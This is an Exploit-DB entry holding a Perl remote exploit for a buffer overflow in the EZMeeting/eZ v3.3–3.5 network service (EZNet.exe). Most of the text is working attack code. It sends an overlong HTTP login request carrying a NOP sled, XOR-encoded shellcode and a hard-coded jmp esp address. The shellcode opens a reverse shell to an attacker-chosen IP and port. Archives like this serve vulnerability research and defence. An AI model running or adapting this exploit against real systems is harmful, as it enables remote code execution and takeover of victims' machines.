EZMeeting 3.x - 'EZNet.exe' Long HTTP Request Remote Buffer Overflow

EDB-ID:

23417

CVE:

N/A


Author:

kralor

Type:

remote


Platform:

Windows

Date:

2003-12-08


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//source: https://www.securityfocus.com/bid/9167/info
//
//A problem has been identified in the handling of some types of requests by the eZ package, resulting in a buffer overrun. Because of this, it may be possible for a remote attacker to execute arbitrary code and gain unauthorized access to a vulnerable host. 

#!/usr/bin/perl -w
######################C###O###R###O###M###P###U###T###E###R######################
#   [Crpt]  universal eZ v3.3 < v3.5 remote exploit by kralor  [Crpt]   #
#-------------------------------------------------------------------------------#
# versions tested & not vulnerables: v3.0 v3.1 v3.2             #
# versions tested & vulnerables: v3.3 v3.4 v3.5                 #
# Cryptso.dll contains a 'static' jmp esp in eZnetwork pack from v3.3 to v3.5   #
# It is a trivial exploit, jumping to esp, then at esp we jump backward to      #
# finally reach the shellcode. The shellcode gives a reverse remote shell.      #
# Universal shellcode coded by kralor with the PEB technic.         #
######W###W###W###.###C###O###R###O###M###P###U###T###E###R###.###N###E###T######
use IO::Socket;

    print "\r\n\t   [Crpt] eZ v3.3 < v3.5 remote exploit by kralor [Crpt]\r\n";
    print "\t\twww.coromputer.net && undernet #coromputer\r\n\r\n";

if(@ARGV<3||@ARGV>3) {
    print "syntax: ".$0." <victim> <your_ip> <your_port>\r\n";
    exit;
    }

    print "[+] Connecting to ".$ARGV[0]."\t...";

    my $sock = IO::Socket::INET->new(Proto=>'tcp',
                               PeerAddr=>$ARGV[0],
                               PeerPort=>"80");
if(!$sock) {
    print "Error\r\n";
    exit;
    }

    print "Done\r\n";

# 0xffe4    jmp  esp in Cryptso.dll (v3.3 v3.4 v3.5 @ 0x1004C72B)
# 0xffffedffe9  jmp  back ( $ - 4'608)

$eip        = "\x2B\xC7\x04\x10";
$jmp_back   = "\xE9\xFF\xED\xFF\xFF";
# universal reverse remote shell using PEB, coded by kralor.
$shellc0deI = "\xeb\x02\xeb\x0f\x66\x81\xec\x04\x08\x8b\xec\x83\xec\x50\xe8\xef".
          "\xff\xff\xff\x5b\x80\xc3\x10\x33\xc9\x66\xb9\x9e\x01\x80\x33\x95".
          "\x43\xe2\xfa\x7e\xe6\xa6\x4e\x26\xa5\xf1\x1e\x96\x1e\xd5\x99\x1e".
          "\xdd\x99\x1e\x54\x1e\xc9\xb1\x9d\x1e\xe5\xa5\x96\xe1\xb1\x91\xad".
          "\x8b\xe0\xd9\x1e\xd5\x8d\x1e\xcd\xa9\x96\x4d\x1e\xce\xed\x96\x4d".
          "\x1e\xe6\x89\x96\x65\xc3\x1e\xe6\xb1\x96\x65\xc3\x1e\xc6\xb5\x96".
          "\x45\x1e\xce\x8d\xde\x1e\xa1\x0f\x96\x65\x96\xe1\xb1\x81\x1e\xa3".
          "\xae\xe1\xb1\x8d\xe1\x9f\xde\xb6\x4e\xe0\x7f\xcd\xcd\xa6\x55\x56".
          "\xca\xa6\x5c\xf3\x1e\x99\xca\xca\x1e\xa9\x1a\x18\x91\x92\x56\x1e".
          "\x8d\x1e\x56\xae\x54\xe0\x08\x56\xa6\x4e\xfd\xec\xd0\xed\xd4\xff".
          "\x9f\xff\xde\xc6\x7d\xe9\x6a\x6a\x6a\xa6\x5c\x52\xd0\x69\xe2\xe6".
          "\xa7\xca\xf3\x52\xd0\x95\xa6\xa7\x1d\xd8\x97\x1e\x48\xf3\x16\x7e".
          "\x91\xc4\xc4\xc6\x6a\x45\xa6\x4e\x1c\xd0\x91\xfd\xe7\xf0\xe6\xe6".
          "\xff\x9f\xff\xde\xc6\x7d\xde\x6a\x6a\x6a\x1e\xc8\x91\xa6\x6a\x52".
          "\xd0\x69\xc2\xc6\xd4\xc6\x52\xd0\x95\xfa\xf6\xfe\xf0\x1c\xe8\x91".
          "\xf3\x52\xd0\x91\xe1\xd4\x1e\x58\xf3\x16\x7c\x91\xc4\xc6\x6a\x45".
          "\xa6\x4e\xc6\xc6\xc6\xc6\xd6\xc6\xd6\xc6\x6a\x45\x1c\xd0\x31\xfd".
          "\xfb\xf0\xf6\xe1\xff\x96\xff\xc6\xff\x97\x7d\x93\x6a\x6a\x6a\xa6".
          "\x4e\x26\x97\x1e\x40\xf3\x1c\x8f\x96\x46\xf3\x52\x97";
$shellc0deII    = "\xff\x85\xc0\x6a\xe0\x31\x6a\x45\xa6".
          "\x4e\xfd\xf0\xe6\xe6\xd4\xff\x9f\xff\xde\xc6\x7d\x40\x6b\x6a\x6a".
          "\xa6\x4e\x52\xd0\x39\xd1\x95\x95\x95\x1c\xc8\x25\x1c\xc8\x2d\x1c".
          "\xc8\x21\x1c\xc8\x29\x1c\xc8\x55\x1c\xc8\x51\x1c\xc8\x5d\x52\xd0".
          "\x4d\x94\x94\x95\x95\x1c\xc8\x49\x1c\xc8\x75\x1e\xc8\x31\x1c\xc8".
          "\x71\x1c\xc8\x7d\x1c\xc8\x79\xa6\x4e\x18\xd8\x65\xc4\x18\xd8\x39".
          "\xc4\xc6\xc6\xc6\xff\x94\xc6\xc6\xf3\x52\xd0\x69\xf6\xf8\xf3\x52".
          "\xd0\x6b\xf1\x95\x1d\xc8\x6a\x18\xc0\x69\xc7\xc6\x6a\x45\xa6\x4e".
          "\xfd\xed\xfc\xe1\xc5\xff\x94\xff\xde\xc6\x7d\xf3\x6b\x6a\x6a\x6a".
          "\x45\x95";
my $tip     = inet_aton($ARGV[1]);
my $paddr   = sockaddr_in($ARGV[2], $tip);

$paddr=substr($paddr,2,6);
$paddr=$paddr^"\x95\x95\x95\x95\x95\x95";
my $rport=substr($paddr,0,2);
my $rip=substr($paddr,2,4);

$request    = "GET /SwEzModule.dll?operation=login&autologin=".
          "\x90"x100 .$shellc0deI.$rport."\x96\x46\x52\x97".$rip.$shellc0deII.
          "\x90"x4103 .$eip."\x90"x4 .$jmp_back." HTTP/1.0\r\n\r\n";

    print $sock $request;
    print "[+] Sending evil request\t...";
    close($sock);
    print "Done\r\n";
exit;